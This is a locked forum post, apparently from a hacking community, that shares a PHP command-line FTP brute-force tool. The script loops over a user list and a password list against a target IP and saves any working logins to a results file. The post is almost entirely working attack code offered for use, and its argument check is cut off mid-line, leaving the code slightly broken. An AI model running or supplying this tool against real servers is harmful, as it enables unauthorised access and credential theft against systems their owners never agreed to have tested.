Jump to content
YOUR-AD-HERE
HOSTING
TOOLS
992Proxy

Locked PHP .. Brute Force FTP Command Line


sQuo

Recommended Posts

[LENGUAJE=php]<?php

print_r("\r\n\r\n

[+]-------------------------------------------[+]

[+] Coder By : Lov3rDns [+]

[+] Title : Brute Force FTP Command Line [+]

[+] Group : x3 [+]

[+] Homepage : is-sec.com - Groupx3.org [+]

[+] 4U : Mr.Dm4r - xSecurity - Shark Hidden [+]

[+]-------------------------------------------[+]

[*] Usage : php {$argv[0]} IP users.txt pass.txt\r\n\r\n");

// 0 1 2 3

@set_time_limit(0);

if(count($argv)

{

}

/* FTP */

$host = $argv[1]; // Ip Server

$username = $argv[2]; // users.txt

$password = $argv[3]; // pass.txt

 

$user = explode("\n", file_get_contents($username)); // explode users.txt

$pas = explode("\n", file_get_contents($password)); // explode pass.txt

 

function bruteFTP($connect,$host,$users,$pass) // function brute

{

/*file_put_contents("ftp.txt",);*/

$file = @fopen("resultFTP.txt","a+"); // Creates File Name : resultFTP.txt

$users = @trim($users); // trim trim trim trim ,, bla bla bla ...

$pass = @trim($pass);

echo "[+] Target Server -> ".$host." \r\n[+] Trying Passwords..

\n";

$connect = @ftp_connect($host) or die("Error , Banned Your IP Address"); // Check Connect FTP or die ( Banned Your Ip )

$ftplove = @ftp_login($connect,$users,$pass); // if File Transfer Protocol users.txt pass.txt true or false !!

if($ftplove)

{

echo "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host: {$host}

\r\n"; // echo ( True [ + ] )

$resultFTP = "[+] Username: {$users}\r\n[+] Password: {$pass}\r\n[+] Host: {$host}\r\n";

fwrite($file,$resultFTP); // Save the results in a file resultFTP.txt

 

}else {

echo "Password is Error ! \n

"; // Else ,, Username or Password Is Error ~

}

}

foreach ($user as $users)

{

 

foreach ($pas as $pass)

{

bruteFTP($connect,$host,$users,$pass);

}

}

 

 

print_r("\r\n\r\n

[+]-----------------------------------------------------------------[+]

Brute Force FTP Command Line

Coder By Lov3rDns

This is the hidden content, please

./x3

 

[+]-----------------------------------------------------------------[+]

");

?>[/LENGUAJE]

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.